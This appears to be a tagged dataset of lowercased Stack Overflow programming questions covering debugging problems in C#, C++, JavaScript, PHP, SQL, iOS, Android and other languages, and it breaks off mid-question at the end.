index was out of range error  i have been looking for the reason why i get this error message for several days now! and i need help to solve this or to improve the code. it s hard to understand why this error happens and find the reason  when it just happens sometimes and not all the time! but my guess is that it has to do with the list and the numbers of items in the lists. it s in the second part of the code where the error event happens. i have also tried to add the objects that i want to remove in a special  to remove list   but why should this not work  help is appreciated! thanks!   <pre><code>public void collisioncontrolmissilehitasteroid(contentmanager content) {     for (int i = 0; i &lt; missileslist.count(); i++)     {         // stora asteroider         for (int j = 0; j &lt; asteroidsbiglist.count(); j++)         {             if (missileslist.elementat(i).bounds().intersects(asteroidsbiglist.elementat(j).bounds())) // fel här                {                  for(int x = 0; x &lt; 2; x++)                 addnewsmallasteroidtolist(new asteroidsmall(content  asteroidsbiglist.elementat(j).position));                 missileslist.removeat(i);                 i--;                  asteroidsbiglist.removeat(j);                 j--;             }         }           if (missileslist.count() &gt; 0 &amp;&amp; asteroidssmalllist.count &gt; 0)         {              for (int k = 0; k &lt; asteroidssmalllist.count(); k++)              {                 if (missileslist.elementat(i).bounds().intersects(asteroidssmalllist.elementat(k).bounds())) // this is where the error event happens!                 {                     missileslist.removeat(i);                     i--;                     asteroidssmalllist.removeat(k);                      k--;                 }             }         }     }  } </code></pre>   edit:    is this where i should place the break  ask beacause it still happens! i can play for five minutes until it happens!   <pre><code>if (missileslist.count() &gt; 0 &amp;&amp; asteroidssmalllist.count() &gt; 0) {      for (int k = 0; k &lt; asteroidssmalllist.count(); k++)      {         if (missileslist.elementat(i).bounds().intersects(asteroidssmalllist.elementat(k).bounds()))          {             missileslist.removeat(i);              i--;             asteroidssmalllist.removeat(k);             k--;             break; //                 }     } } </code></pre>,c#
using modulo function to implement power with multiply  this is my <code>powmod</code> function:   <pre><code>int powmod(int b  int e  int m) {     int result = 1;     while(e &gt; 0){         if(e &amp; 1){             result *= b;             result %= m;         }         b *= b;         b %= m;         e &gt;&gt;= 1;     }     return result; } </code></pre>   so when i use this function i just simply insert:   <pre><code>powmod(2 6 11); </code></pre>   which is 2^6 mod 11  if i want to insert (2^6*11) mod p. how should i modify or insert the value     it is not same as:   <pre><code>powmod(2 6 11) * (11%p); //the result is different from (2^6*11) mod p </code></pre>,c++
how to clear html input textbox via javascript  i am using the same input textbox to collect multiple values.    after collecting the first input  i will clear the field by calling   <pre><code>document.getelementbyid( textbox ).value=   ; </code></pre>   on the surface  above snippet appears to clear the textbox.  but when i blur the textbox by clicking elsewhere  the old value reappears.    more codes >>>    my html >>   <pre><code>&lt;input id= textbox  placeholder= start &gt; </code></pre>   javascript >>    after getting the first input  i like to reset the input value >>>   <pre><code>document.getelementbyid( textbox ).value=   ; document.getelementbyid( textbox ).setattribute( placeholder   end ); </code></pre>   this is how i do my data collection >>> the same textbox is first used to collect a google  place   and then subsequently to collect some user entered comment. in addition to collecting the data  somefunction() also try to clear the textbox by calling .value=      <pre><code>google.maps.event.addlistener(textbox   place_changed   function() {     somefunction(); }); </code></pre>,javascript
navigation controller + segment controller : unable to change the view  i have a root view controller which has few buttons. on click of these button  i shown up a tab bar controller with each controller showing the table view controller. i have achieved this. so basically  for each table view controller i have a dedicated class. to go ahead  i replaced the tab bar controller  and added the segmented controller to the navigation title view.    the question is how can i set the view based on the selected index. i am able to set the navigation title to be segmented control but on select i am unable to set the view.     below is what i have achieved so far. note: what matters is a running code  i would do that code optimization later on. i dont want to hidde views. <strong>i want to call different view controller class.</strong>    rootviewcontroller class (on click of the button  i call the first view controller. so that i can set the segment controller:   <pre><code>-(ibaction) pushsegmentcontroller: (id) sender  {      nslog(@ my location button being clicked/touched ) ;      firstviewcontroller *firstviewcontroller = [[firstviewcontroller alloc] init] ;     [self.navigationcontroller pushviewcontroller:firstviewcontroller animated:yes];      // releae the view controllers     [firstviewcontroller release];  } </code></pre>  <hr>   in firstviewcontroller class:   <pre><code>-(void)viewdidload {      [super viewdidload];      nsarray *viewcontrollers = [self segmentviewcontrollers];       self.segmentedcontrol = [[uisegmentedcontrol alloc] initwithitems:[nsarray arraywithobjects:@ table1   @ table2 ]];      self.navigationitem.titleview = segmentedcontrol;      [self.segmentedcontrol addtarget:self                                action:@selector(indexdidchangeforsegmentedcontrol:)                      forcontrolevents:uicontroleventvaluechanged];      self.segmentedcontrol.selectedsegmentindex =  0; }  -(void)indexdidchangeforsegmentedcontrol:(uisegmentedcontrol *)asegmentedcontrol {      nsuinteger index = asegmentedcontrol.selectedsegmentindex;      if(index ==0) {     uiviewcontroller *table1controller = [[australiaviewcontroller alloc] initwithstyle:uitableviewstyleplain];          **     how should i set the view over here... as its a part of the navigation controller**     }     else { } } </code></pre>   note: i have tried using this option:   <pre><code>[navigationcontroller setviewcontrollers:theviewcontrollers animated:no]; </code></pre>   but this option doesnt give me the right result. how should i go ahead with the same as i want to call a view controller class and set its view based on the selected index.,iphone
oop upload images in the folder  i m working uploading picture into the folder  applications work  but first time when i open the page to upload a image i have few error message  when i upload picture then there no error message  end i can uploading as many i want without error. when i again click or reload page first time a have error and after first uploading errors gone.     i have folder images   <pre><code>file: pictureupload.php file: classimage.php </code></pre>   code for pictureupload.php is   <pre><code>&lt; php include_once  classimage.php ; $img= new images();  $img-&gt;uploadimages();   &gt; &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;untitled document&lt;/title&gt; &lt;/head&gt;  &lt;body&gt; &lt;form action= index.php  method= post  enctype= multipart/form-data &gt; &lt;input type= file  name= picture  &gt; &lt;br&gt;&lt;br&gt;  &lt;input type= submit  name= upload  value= upload picture &gt; &lt;/form&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   code for  classimage.php is   <pre><code>&lt; php class images { protected $filename; protected $filetmp; protected $filetype; protected $filesize; protected $fileerror;  public function __construct() { $this-&gt;filename = $_files[ picture ][ name ]; $this-&gt;filetmp = $_files[ picture ][ tmp_name ]; $this-&gt;filesize = $_files[ picture ][ size ]; $this-&gt;fileerror = $_files[ picture ][ error ]; $this-&gt;filetype =$_files[ picture ][ type ]; }  public function uploadimages() { //if button push if(isset($_post[ upload ]) &amp;&amp; $_post[ upload ]== upload picture ) { //get type after . $kabom = explode( .   $this-&gt;filename); //get image type $fileextnsion = end($kabom); $filename = time().rand(). . .$fileextnsion;  if(!$this-&gt;filetmp) { echo  error: please browse for a file before clicking the upload button ; exit(); } elseif ($this-&gt;filesize &gt; 5242880) { echo  error: your file was large than 5mb ; unlink($this-&gt;filetmp); exit(); } elseif (!preg_match( /.(gif|jpg|png)$/i   $this-&gt;filename)) { echo  error: your image was not .gif  .jpg  or .png. ; unlink($this-&gt;filetmp); exit(); }   elseif ($this-&gt;fileerror==1) { echo  error.please try again ; exit(); } $movepicture = move_uploaded_file($this-&gt;filetmp   images/$filename ); if($movepicture == false) { echo  error file not uploaded. ; exit(); } } } }  &gt; </code></pre>   first time when i upload picture i have this error   <pre><code>notice: undefined index: picture in c:\xampp\htdocs\www\imageupload\test\classimage.ph p on line 12  notice: undefined index: picture in c:\xampp\htdocs\www\imageupload\test\classimage.ph p on line 13  notice: undefined index: picture in c:\xampp\htdocs\www\imageupload\test\classimage.ph p on line 14  notice: undefined index: picture in c:\xampp\htdocs\www\imageupload\test\classimage.ph p on line 15  notice: undefined index: picture in c:\xampp\htdocs\www\imageupload\test\classimage.ph p on line 16 </code></pre>   this error is from file classimage.php   <pre><code>$this-&gt;filename = $_files[ picture ][ name ]; - line12 $this-&gt;filetmp = $_files[ picture ][ tmp_name ]; - line 13 $this-&gt;filesize = $_files[ picture ][ size ]; - line 14 $this-&gt;fileerror = $_files[ picture ][ error ]; - line 15 $this-&gt;filetype =$_files[ picture ][ type ]; - line 16 </code></pre>,php
optimizing: replace value of known and solve. python  i am writing a minimizing function for a single variable function. i want to create a  xmin  array containing the values of x that replaced in the second derivative make the second derivative greater than 0.    the code seems to be giving an error when calling  xmin . i do not know how to replace the values of the unknown  x  with the optimizing values.    this is what i tried:   <pre><code>   from sympy import symbol    import numpy as np      from sympy import solve     x = symbol( x )    def fun(x):        return x**2      first = fun(x).diff(x)    second = first.diff(x)     xopt = solve(first  x)    xmin = solve(second  x=xopt)    xmin = [i for i in xmin if i &gt; 0]      print( first derivative:\n   first)    print( second derivative:\n   second)    print( optimal points:\n   xopt)    print( minimum:\n  xmin)    print( end ) </code></pre>,python
xcode vs sencha touch for ios app  i am a developer who has been working with .net and c# for developing web applications and i am supposed to start developing ios apps but i am confused about whether i am supposed to use xcode or sencha touch for making the app or i am supposed to use both  i need to know the difference between them. also i would like to know what s the difference between sencha touch and phonegap.    thanks in advance.,ios
if hasclass does not working  i have an problem to check if hasclass  but i don t understand why it would not work. i want  when the second div inside another div has the class  in  do something.    jquery   <pre><code>if ( jquery( .panel div:nth-child(2) ).hasclass( in ) ) {     jquery(this).css( margin-top   200px );     console.log( has ); }; </code></pre>   html   <pre><code>&lt;div class= panel panel-default &gt;         &lt;div class= panel-heading &gt;&lt;/div&gt;         &lt;div id= collapse1  class= accordion-body collapse in &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   edit: sorry the class come  when i open the accordion.,jquery
how to store guava multimap entries into java util list   i ran into a requirement to store <strong>multiple values for a single key</strong> so i came to learn about <code>multimap</code> of guava.    now in my code there is requirement to retrieve <strong>key: value</strong> <code>k: v[]</code> where in this case the value will be an array as i am storing multiple values for same key  into a list as:    <code>list&lt;map.entry&lt;string  string&gt;</code>    below is how i tried to get it done:   <pre><code>list&lt;map.entry&lt;string  string&gt;&gt; mapcall = (list&lt;map.entry&lt;string  string&gt;&gt;) multimap.entries(); </code></pre>   above code is supposed to return a <code>collection</code>  here a <code>list</code>  of each <code>entry&lt;string  string&gt;</code>.     and below is how it has failed: error:   <pre><code>java.lang.classcastexception: com.google.common.collect.abstractmultimap$4 cannot be cast to java.util.list </code></pre>   i think the <code>collection</code> returned here by calling <code>entries()</code> method on <code>multimap</code> is not of the java collections type. unable to find an exact way to get it done.    what should be the proper way to achieve this,java
how to set which control displays top when they overlap   i have a uiview and a toolbar. i want the toolbar to always stay on top when they overlap. is there a property  like z-index in html stylesheet  for iphone controls,ios
javascript function call not working  inside register.js i have a function called username() and i want to call it from my webpage but the function will not run.    here is where i include the .js file and call the function:    <pre><code>&lt;head&gt;         &lt;link rel= stylesheet  href= css/base.css  /&gt;         &lt;script src= resources/jquery-1.8.1.min.js &gt;&lt;/script&gt;         &lt;script src= resources/register.js &gt;&lt;/script&gt;         &lt;script type= text/javascript &gt;username();&lt;/script&gt; &lt;/head&gt; </code></pre>   this is in the .js file:   <pre><code>function username(){     document.getelementbyid( username ).innerhtml= username already in use ; } </code></pre>,javascript
how i can modify this code to introducing just the values how not exists in another table  i try to use the next code for introducing users how are in glob table  but they don t exists in tlp table  but every time when i run the program  introducing the duplicate value for one user. i don t understand why .     <pre><code>insert into tlp             (given_name                namel                email  poreclat)  select first_name          namel          mail  porecla   from   glob  where    (( not exists (select email                       from   tlp                       where  glob.mail = tlp.email )           and glob.mail is not null)           and glob.country= romania           )          or (( not exists (select namel                           from   tlp                           where  glob.namel = tlp.namel                         )                        and  glob.country= romania ))         or ( exists (select given_name                   from tlp                   where (glob.first_name not like  07_% ) and                   glob.first_name not like  car%  and                  glob.first_name not like  tr_%                   )                     ); </code></pre>   here i created the tables   <pre><code>create table glob  ( persone_id number not null enable   first_name varchar(10)   namel varchar(10)   mail varchar(50)   country varchar(10)   porecla varchar (10)     create_date date default sysdate);    insert into glob(persone_id first_name  namel  mail) values (1   daniela    pop    dany_pop93@yahoo.com );   insert into glob(persone_id first_name  namel mail  country) values (2   razvan    cirstescu   null   romania );   insert into glob (persone_id first_name  namel  country) values (3   darius    moldovan    germany  );   insert into glob (persone_id first_name  namel  mail  country) values  (4   alex    duta   null   romania );   insert into glob(persone_id first_name  namel  mail  country) values (5   edith   null   edith@yahoo    romania );   insert into glob(persone_id first_name  namel  mail) values (6   madi    todea    madi@yahoo );   insert into glob(persone_id first_name  namel  mail) values (7   madi    todea    madi@yahoo );   insert into glob(persone_id first_name  namel  mail) values (8   madi    todea    madi@yahoo ); </code></pre>   the second table is:   <pre><code>create table tlp   ( given_name varchar(10)     namel varchar (10)     email varchar (50)     poreclat varchar(10)      create_date date default sysdate);     insert into tlp(given_name  namel  email) values ( daniela    pop    dany_pop93@yahoo.com );  insert into tlp(given_name  namel  email) values ( andrei    pop    andrei@yahoo ); </code></pre>   and now i observed  this code introducing duplicate values .    my question is : how i can make this code to not introducing duplicate values,sql
getting maximum row in group   i need to get the maximum id in each group of uids.   <pre><code>id   uid  23    1   24    1   25    2   26    2   </code></pre>   would give:   <pre><code>id   uid  24    1   26    2   </code></pre>   how do i get the maximum row in each group,mysql
css image with text filling 100% height  how to solve this one: i have a div with height 100%. in this div i want to place an image and thereunder a few lines of text (dynamic amount of text). how can i make sure the image is stretched to completely fill the space that is left from the text     thanks  wienel,css
how to create variable in service angularjs  this is my service code in angular.   <pre><code> use strict ;  sampleapp.factory( commonservice   [ $http    $q   function($http  $q){      var rest_service_bill_product_uri =  api/v1/billproducts ;     //commonservice.products = [];      var factory = {         getbillproducts: getbillproducts      };     return factory;      function getbillproducts() {         var deferred = $q.defer();         $http.get(rest_service_bill_product_uri)             .then(                 function (response) {                     //commonservice.products = response.data;                     deferred.resolve(response.data);                 }                  function(errresponse){                     console.error( error while fetching bill products );                     deferred.reject(errresponse);                 }             );         return deferred.promise;     } }]); </code></pre>   i want to add one variable in that and save response data in that. like this   <pre><code> //commonservice.products = response.data; </code></pre>   so i can use commonservice.products in controller directly and access update it.    but defining //commonservice.products = []; gives me error.    how to define a variable in service to use it in controller.,angularjs
getting .focus() to work in jquery 1.4.2   i am trying to validate an input field when it loses focus and re-focus the field if the validation fails. but i cannot seem to get the field to re-focus. i have written a test case at <a href= http://jsbin.com/ahepo/edit  rel= nofollow noreferrer >http://jsbin.com/ahepo/edit</a> . it is failing in firefox 3.6.2 and ie 8  but working in chrome 4.1.,jquery
how to check/uncheck a checkbox based on the state check/uncheck of another checkbox  guys im trying to check/uncheck a checkbox based on the state check/uncheck of another checkbox. and im trying to build a jquery script to do that for every checkbox here.    basically i want to set to checked  the status of  lists_1  whenever id= customfields[12_1]_la1  is checked. and also set the status of to unchecked whenever is id= customfields[12_1]_la1 .    and the same for the rest: so the correlations are: customfields[12_1]_la1 ---> lists_1 customfields[12_1]_la2 ---> lista_2 and on and on...    note: i cant change the name of the ids.   <pre><code>&lt;td&gt;&lt;span class= required &gt;*&lt;/span&gt;&amp;nbsp; concesionarias:&lt;/td&gt;     &lt;td&gt;&lt;label for= customfields[12_1]_la1 &gt;&lt;input type= checkbox      id= customfields[12_1]_la1  name= customfields[12][]  value= la1 &gt;la1&lt;/label&gt;&lt;br/&gt;&lt;label     for= customfields[12_1]_la2 &gt;&lt;input type= checkbox  id= customfields[12_1]_la2      name= customfields[12][]  value= la2 &gt;la2&lt;/label&gt;&lt;br/&gt;&lt;label for= customfields[12_1]_la3 &gt;    &lt;input type= checkbox  id= customfields[12_1]_la3  name= customfields[12][]      value= la3 &gt;la3&lt;/label&gt;&lt;br/&gt;&lt;label for= customfields[12_1]_la4 &gt;&lt;input type= checkbox      id= customfields[12_1]_la4  name= customfields[12][]  value= la4 &gt;la4&lt;/label&gt;&lt;br/&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;     &lt;td&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;contact lists:&lt;/td&gt;     &lt;td&gt;&lt;label for= lists_1 &gt;&lt;input type= checkbox  id= lists_1  name= lists[]      value= 1  /&gt;&amp;nbsp;ddsd&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;     &lt;td&gt;&amp;nbsp;&lt;/td&gt;     &lt;td&gt;&lt;label for= lists_2 &gt;&lt;input type= checkbox  id= lists_2  name= lists[]      value= 2  /&gt;&amp;nbsp;laconce1&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;     &lt;td&gt;&amp;nbsp;&lt;/td&gt;     &lt;td&gt;&lt;label for= lists_3 &gt;&lt;input type= checkbox  id= lists_3  name= lists[]      value= 3  /&gt;&amp;nbsp;laconce2&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;     &lt;td&gt;&amp;nbsp;&lt;/td&gt;     &lt;td&gt;&lt;label for= lists_4 &gt;&lt;input type= checkbox  id= lists_4  name= lists[]      value= 4  /&gt;&amp;nbsp;laconce3&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;     &lt;td&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;estado:&lt;/td&gt;     &lt;td&gt;&lt;select name= customfields[13]  id= customfields_13_1 &gt;&lt;option value=  &gt;--      please choose an option --&lt;/option&gt;&lt;option value= contacto &gt;contacto&lt;/option&gt;&lt;option     value= oportunidad &gt;oportunidad&lt;/option&gt;&lt;option value= vendido &gt;vendido&lt;/option&gt;&lt;/select&gt;    &lt;/td&gt; &lt;/tr&gt;&lt;input type= hidden  name= format  value= h  /&gt;         &lt;tr&gt;             &lt;td&gt;&lt;/td&gt;             &lt;td&gt;                 &lt;input type= submit  value= subscribe  /&gt;                 &lt;br/&gt;             &lt;/td&gt; </code></pre>   this is the script ive tried and it doesnt work.   <pre><code>&lt;script type= text/javascript &gt; $(document).ready(function(){         $( #customfields[12_1]_la1 ).click(function() {                if ($( customfields[12_1]_la1 ).attr( checked ) == true) {                 $( lists_1 ).attr( checked   true);                 } else if ($( customfields[12_1]_la1 ).attr( checked ) == false) {                  $( lists_1 ).attr( checked   false);                 }         });     }); &lt;/script&gt; </code></pre>   can sombody suggest a new working one for what im trying to accomplish  thanks for all,jquery
in swift  type of expression is ambiguous without more context   <pre><code>let fontref = ctfontcreatewithname( arialmt   config.fontsize  nil); [kctfontattributename : fontref]; </code></pre>   <code>[kctfontattributename : fontref]</code> gives me the following error:   <blockquote>     type of expression is ambiguous without more context    </blockquote>,ios
"website using jquery form version 4.2.2 and jquery 3.1.2  i have problem with my form  because is doesn t work when submit the form  they take this error:    <pre><code>uncaught typeerror: cannot read property  success  of undefined. </code></pre>   my form code is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form id= myformxy  enctype= multipart/form-data  action= buscar_empresas.php get=1  class= form-inline  method= post  role= form  &gt;
         
         &lt;div class= form-group mx-sm-3 &gt;
     &lt;input name= razon_social  type= text  style= font-size: 12px;  class= form-control  id= razon_social  required placeholder= nombre empresa  /&gt;
     &lt;input name= id_emp  type= hidden  id= id_emp  value= &lt; php echo $row_nombreh[ id_emp ];  &gt;  /&gt;
   &lt;/div&gt;
        &lt;button type= submit  class= btn btn-success btn-sm  style= font-size: 12px;  id= submit &gt;buscar&lt;/button&gt;
         
         &lt;/form&gt;</code></pre>
 </div>
 </div>
     my javascript code is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://code.jquery.com/jquery-3.2.1.slim.min.js  integrity= sha384-kj3o2dktikvyik3uenzmm7kckrr/re9/qpg6aazgjwfdmvna/gpgff93hxpg5kkn  crossorigin= anonymous &gt;&lt;/script&gt;
 
 &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/jquery.form/4.2.2/jquery.form.min.js  integrity= sha384-fzt3vtvgxqf7wrfy8k4biyzvbnfeyjk+frtvqzendfl8wocbf0cyg6g2fmeffo/i  crossorigin= anonymous &gt;&lt;/script&gt;
 
 &lt;script type= text/javascript &gt;
  
         // esperamos que el dom cargue
         $(document).ready(function() { 
             // definimos las opciones del plugin ajax form
    
    var opciones= {
                                beforesubmit: mostrarloader  //funcion que se ejecuta antes de enviar el form
                                success: mostrarrespuesta //funcion que se ejecuta una vez enviado el formulario
             };
              //asignamos el plugin ajaxform al formulario myform y le pasamos las opciones
             $( #myformxy ).ajaxform(opciones); 
  
              //lugar donde defino las funciones que utilizo dentro de  opciones 
              function mostrarloader(){
         $( #ajax_loadery ).empty();
         $( #loader_gify ).fadein( slow ); //muestro el loader de ajax
              };
              function mostrarrespuesta (responsetext){
                           // alert( mensaje enviado:  +responsetext);  //responsetext es lo que devuelve la página contacto.php. si en contacto.php hacemos echo  hola    la variable responsetext =  hola  . aca hago un alert con el valor de response text
         $( #ajax_loadery ).fadein( fast );
         $( #loader_gify ).fadeout( fast ); // hago desaparecer el loader de ajax
                           $( #ajax_loadery ).html(responsetext); // aca utilizo la función append de jquery para añadir el responsetext  dentro del div  ajax_loader 
         if(responsetext !=  debes ingresar todos los datos ) {
         $( #myformxy ).resetform();
         }
              };
  
         }); 
  
 &lt;/script&gt;</code></pre>
 </div>
 </div>
     please i need help!! thanks",jquery
how to make scrollbar which can be handled by touch   want to insert a simple scrollbar to my activity  which can be handled by the user by scrolling it (through touching).... example: like we have scrollbars in the contacts app.    lets take example of this:   <pre><code>&lt;scrollview xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:scrollbars= vertical  android:layout_width= match_parent  android:layout_height= match_parent  tools:context= com.symplycode.youtubeembed.mainactivity &gt;  &lt;linearlayout     android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical &gt;  &lt;webview     android:id= @+id/webview      android:layout_width= match_parent      android:layout_height= wrap_content /&gt; &lt;/linearlayout&gt;  &lt;/scrollview&gt; </code></pre>   anyone get it,android
html clear button not clear text boxes text using jsp  here  i my page have update and cancel buttons when i click cancel button text boxes text is not clear and how can i redirect to previous page.    my button:    <code>&lt;input type= reset  value= cancel  name= cancel /&gt;</code>,html
how to change the focus state in css to just affect the keyboard and not mouse clicks  in chrome/firefox (haven t looked in other browsers)  my mouse clicks are showing the properties attached to the :focus selector. see <a href= http://jsfiddle.net/qtlolf6p/1/  rel= nofollow >http://jsfiddle.net/qtlolf6p/1/</a>   <pre><code>a:focus {     color: black;     text-decoration: none; } </code></pre>   i d like it to work just like the default blue outline works on anchor (a) tags  just on tab focus and not on click focus.    note in my fiddle that i ve just added the js so the page doesn t change.,css
what is target in iphone development and why would i need different targets   what is target in iphone development and why would i need different targets,iphone
write a function receives two arguments and returns the difference  write a c-program that calls a function minus(). this function receives two arguments and returns the difference (regular subtraction  not absolute). this difference should be printed on screen.     my code is:   <pre><code>int minus(int a int b) {     int c = a - b;     return c; } int main() {     int a = 4; int b = 5;     minus(a b);     printf( %d   minus);     return 0; } </code></pre>   i have two questions:    1.why a and b in    <pre><code>int minus(int a int b) </code></pre>   are grey in visual studio   int  is blue but a and b are grey. <a href= https://i.stack.imgur.com/p0lwh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/p0lwh.png  alt= enter image description here ></a> 2. i got this result but it should be -1.    <a href= https://i.stack.imgur.com/udghy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/udghy.png  alt= enter image description here ></a>    could someone help me please,c
play games error you currently don t have the necessary rights to publish changes to this game.  <strong>error message : you currently don t have the necessary rights to publish changes to this game. please ask the owner of the  unknown project  project to grant you access.</strong>      so i published this game on 5th of august  i had implemented google play game services in the app.    app link : <a href= https://play.google.com/store/apps/details id=com.blinkgames.squareswipe  rel= nofollow >https://play.google.com/store/apps/details id=com.blinkgames.squareswipe</a>    the google play game services worked fine  many people topped the leaaderboard for week  after a while the game services stopped working and in app with the error  hmm something went wrong in play games  i tried several solutions for weeks  nothing worked! i thought making a new leaderboard will help  but now i can not even publish the changes i make in the play game services.    i tried to contact google about this more than a few times  they seem to be helpless !    error messages :  link : <a href= http://imgur.com/a/d0of9  rel= nofollow >http://imgur.com/a/d0of9</a>    i am clueless about what to do next  this was my fist experience with play services    if anyone knows any solution to this  it would be much appreciated!!,android
how does the conditional operator ( :) work in c++   i have written the code snippet below:   <pre><code>#include &lt;string&gt;  int main() {     std::string str =  test ;     (str ==  tes )   str.replace(0  1   t ) : 0; } </code></pre>   <a href= http://coliru.stacked-crooked.com/a/f5dfcf2a8eb8b76d  rel= noreferrer >(see here)</a>    unfortunately  it causes a <code>logic_error</code>:   <pre><code>terminate called after throwing an instance of  std::logic_error  what():  basic_string::_s_construct null not valid </code></pre>   i want to know the reason why the compiler constructs a string object,c++
clear the last 5 characters from a string using memset  i have to clear the last 5 characters from a string using memset in c;    i know only to set the first characters from a string using this function. for example:   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main () {   char str[] =  almost every programmer should know memset! ;   memset (str  -  6);   puts (str);   return 0; } </code></pre>   thank you!,c
why a virtual machine is needed execute a java program.   why a java code run through jvm (java code ->byte code -> machine code ). why can t it compile to native machine code directly like  c .,java
android sms notification  i want to remove notification when sms comes in general inbox. is it possible... if yes then how... i got many site where is metion this is not possible through code...,android
is it good idea to use weakreference for local reference    right now i am working on one java application. in that i am creating lots of <strong>method local objects</strong>. i am using weakreference to create those objects in method like below.    <pre><code>public void method() {     while(count &lt; 10000000) {        animalbean animal = new weakreference&lt;animalbean&gt;(new animalbean()).get();         //----------- here my logic -------------     } } </code></pre>   i have one doubts  is it good idea to use weakreference for local variables   if no then why      thanks a lot in advance.,java
typeerror is not a constructor  i know i m doing something wrong  but i really don t understand why:   <pre><code>var ds= ds || {}; ds.buynow = function ($parameters) {     var parameters = {         server_url: null          redirect_url: null     };      //buynow     var addbuynowbuttonshandler = function () {         [..stuff..]     };      var init = function () {         $.extend(parameters  $parameters);         addbuynowbuttonshandler();     };      init(); };  ds.raffle = function ($parameters) {     var parameters = {         server_url: null          redirect_url: null          info_url: null     };      //ruffle     var addrafflebuttonshandler = function () {         [...stuff...]     };      var init = function () {         $.extend(parameters  $parameters);         addrafflebuttonshandler();     };      init(); }; </code></pre>   now calling:   <pre><code>new ds.raffle({...]); </code></pre>   gives no error and everything works fine. instead calling:   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function () {         new ds.buynow({             [..]         });     }); &lt;/script&gt; </code></pre>   gives the error <code>typeerror: ds.buynow is not a constructor</code> i ve also checked elsewhere and saw that this error can be caused by a ds.buynow object defined somewhere else but i ve tried a <code>console.log(ds.buynow)</code> just before the new declaration and it give me <code>undefined</code>. also  changing name to buynow to something else doesn t affect the error. can someone please enlighten me,javascript
remove all  +  from array  i have an array like this  and i want to remove the <code>+</code> sign from the below array:   <pre><code>var arr = [ +(91)-80-411311015    +(91)-80-411311456    +(91)-80-411311016 ]; </code></pre>   i have tried the following but it is not working:   <pre><code>var toremove =  + ; arr = arr.filter(function(el){     return !toremove.includes(el); }); </code></pre>   how do i remove all <code>+</code> signs from the array,javascript
using objc_msgsendsuper_stret will raise `exc_bad_access(code=exc_i386_gpflt)`  i m using <code>objc_msgsendsuper</code> and <code>objc_msgsendsuper_stret</code> to invoke the superclass s implementation of its superclass.    the <code>objc_msgsendsuper</code> works well as following:   <pre><code>struct objc_super superssuper; superssuper.receiver = self; superssuper.super_class = object_getclass(class_getsuperclass(class_getsuperclass(self)));    return objc_msgsendsuper(&amp;superssuper  _cmd); </code></pre>   but using <code>objc_msgsendsuper_stret</code> will raise a runtime error <code>exc_bad_access(code=exc_i386_gpflt)</code>:   <pre><code>// in tier3 class + (cgpoint) point{     struct objc_super superssuper;     superssuper.receiver = self;     superssuper.super_class = object_getclass(class_getsuperclass(class_getsuperclass(self)));        // raise exc_bad_access(code=exc_i386_gpflt) when invoking objc_msgsendsuper_stret     return ((cgpoint(*)(struct objc_super *  sel))objc_msgsendsuper_stret)(&amp;superssuper  _cmd);  } </code></pre>   the selector did exist in the target class:   <pre><code>[tier1 point]; // return {10  10} </code></pre>   i see lots of <code>objc_msgsend</code>  <code>objc_msgsendsuper</code> and <code>objc_msgsend_stret</code> examples  but it s rarely to find an example using <code>objc_msgsendsuper_stret</code>.   <hr>   <strong>update</strong>    i found the old api of <code>objc_msgsend_stret</code> is the following:   <pre><code>void objc_msgsend_stret(void * stretaddr  id thereceiver  sel theselector   ...) </code></pre>   but current api is:   <pre><code>void objc_msgsend_stret(id self  sel op  ...) </code></pre>   i think apple did change the function signature of <code>objc_msgsend_stret</code>. doesn t it    <hr>   <strong>update-2</strong>    i did try the following:   <pre><code>cgpoint retval = cgpointmake(0  0); // cast to old api signature. ((void(*)(cgpoint *  id  sel))objc_msgsend_stret)(&amp;retval  self  @selector(point));  return retval; </code></pre>   this casting will make the function <code>objc_msgsend_stret</code> call succeed. the target method did been invoked  and the target method returns {10  10}. but the return value which we got is not correct  it was still {0  0}.    btw  i find the code can t work under 32-bit architecture (still raise <code>exc_bad_access(code=exc_i386_gpflt)</code>). it only works under 64-bit architecture.   <hr>   <strong>update-3</strong>    class declaration:   <pre><code>#import &lt;objc/runtime.h&gt; #import &lt;objc/message.h&gt;  @interface testclass : nsobject + (cgrect)rect; + (cgpoint)point; @end @implementation testclass + (cgrect)rect;{     nslog(@ +[testclass rect] is invoked );     return cgrectmake(3  3  3  3); } + (cgpoint)point;{     nslog(@ +[testclass point] is invoked );     return cgpointmake(10  10); }  + (cgrect)rectruntimetest;{     cgrect retval = cgrectmake(0  0  0  0);     ((void(*)(cgrect *  id  sel))objc_msgsend_stret)(&amp;retval  self  @selector(rect));     return retval; }  + (cgpoint)pointruntimetest{     cgpoint retval = cgpointmake(0  0);     ((void(*)(cgpoint *  id  sel))objc_msgsend_stret)(&amp;retval  self  @selector(point));     return retval; } @end </code></pre>   in <code>application:didfinishlaunchingwithoptions:</code>  test the following:   <pre><code>cgrect retrect = [testclass rectruntimetest]; nslog(@ retval: %@   nsstringfromcgrect(retrect));  cgpoint retpoint = [testclass pointruntimetest]; nslog(@ retpoint: %@   nsstringfromcgpoint(retpoint)); </code></pre>   the output (under 64-bit 